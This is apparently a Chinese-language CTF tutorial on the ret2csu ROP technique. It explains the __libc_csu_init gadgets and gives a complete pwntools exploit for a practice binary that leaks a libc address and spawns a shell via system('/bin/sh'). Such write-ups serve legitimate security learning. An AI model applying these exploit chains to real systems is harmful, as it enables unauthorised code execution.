ret2csu的知识点 (1)ret2csu的概念 ret2csu是一种利用__libc_csu_init函数中的gadget进行ROP链构造的技术,主要用于控制寄存器参数,特别是当程序中缺少足够的gadgets时。这个函数在动态链接的程序中普遍存在,所以适用性较广。当我们做题时我们会发现有些gadget不存在这时我们就可以用ret2csu这种方法
(2)__libc_csu_init函数 __libc_csu_init有两部分我们把这两部分叫gadget2和gadget1
下面这一部分gadget1
1 2 3 4 5 6 7 8 9 .text:0000000000400716 loc_400716: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400716 add rsp, 8 .text:000000000040071A pop rbx .text:000000000040071B pop rbp .text:000000000040071C pop r12 .text:000000000040071E pop r13 .text:0000000000400720 pop r14 .text:0000000000400722 pop r15 .text:0000000000400724 retn
可以看到是将数据弹入到rbx、rbp、r12、r13、r14、r15这六个寄存器中,这样我们就不用找gadget,更重要的是gadget2
上面一部分是gadget2
1 2 3 4 5 6 7 8 .text:0000000000400700 loc_400700: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400700 mov rdx, r13 .text:0000000000400703 mov rsi, r14 .text:0000000000400706 mov edi, r15d .text:0000000000400709 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8] .text:000000000040070D add rbx, 1 .text:0000000000400711 cmp rbx, rbp .text:0000000000400714 jnz short loc_400700
可以看到是将r13寄存器的值赋值给rdx,r14赋值给rsi,r15赋值给rdi,然后调用函数,这里的rbx是索引寄存器**(设置为0,将r12设置为调用函数的got表地址)*,再往后rbx的值加1,比较rbx与rbp的值,如果rbx不等于 rbp,就跳转到loc_400700处,继续循环,为了避免继续循环我们将rbp的值设置为1,这样就可以跳出循环,继续往下执行也就是gadgets1,loc_400716处,如果不需要再一次控制参数的话,那我们此时把栈中的数据填充56(7 8)个垃圾数据即可
注:
1.如何不执行call
如果我们仅仅利用__libc_csu_init函数去控制参数,而并不想去用call执行,我们可以call一个空函数(不需要参数,执行之后也不会对程序本身造成任何影响的函数) _term_proc函数(call的是指向_term_proc的地址,不是term_proc的地址)
2.如何控制rax的值? (修改rax进行系统调用)
这里就非常巧妙了,可以利用write和read的返回值
如果读取或写入成功就会将read函数和write函数实际读到和写入的字节数存入rax中,这样就达到了控制rax的值
如果错误会返回-1,存入errno
例题 ida:
1 2 3 4 5 6 7 ssize_t x64_ret2libc () { char buf[128 ]; write(1 , "Welcome to x64_ret2csu\n" , 0x17u LL); return read(0 , buf, 300uLL ); }
read可以栈溢出(0x80+0x8)
思路:
通过栈溢出到gadget1,设值write的参数,返回值设置为gadget2,调用write,打印出write的got表地址,接下来套用模板就可以
rbx
rbp
r12
r13(rdx)
r14(rsi)
r15(rdi)
0
1
write_got
8
write_got
1
gadget1:0x400716
gadget2:0x400700
main:0x040065b
pop_rdi :0x400723
ret = 0x4004c9
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) elf = ELF('./ret2csu' ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) p = process('./ret2csu' ) gadget1 = 0x400716 gadget2 = 0x400700 write_got = elf.got['write' ] main = 0x040065b pop_rdi = 0x400723 ret = 0x4004c9 rbx = 0 rbp = 1 r12 = write_got r13 = 8 r14 = write_got r15 = 1 payload = b'a' *(0x80 +0x8 ) payload += p64(gadget1) payload += p64(ret) payload += p64(rbx) payload += p64(rbp) payload += p64(r12) payload += p64(r13) payload += p64(r14) payload += p64(r15) payload += p64(gadget2) payload += p64(0 )*7 payload += p64(main) p.recvuntil(b"Welcome to x64_ret2csu\n" ) p.send(payload) write_addr = u64(p.recv(8 )) print (hex (write_addr))libc_base = write_addr - libc.sym['write' ] system = libc_base + libc.sym['system' ] bin_sh = libc_base + next (libc.search(b'/bin/sh' )) payload = b'a' *(0x80 +8 ) +p64(pop_rdi) + p64(bin_sh) + p64(system) p.sendlineafter(b"Welcome to x64_ret2csu\n" ,payload) p.interactive()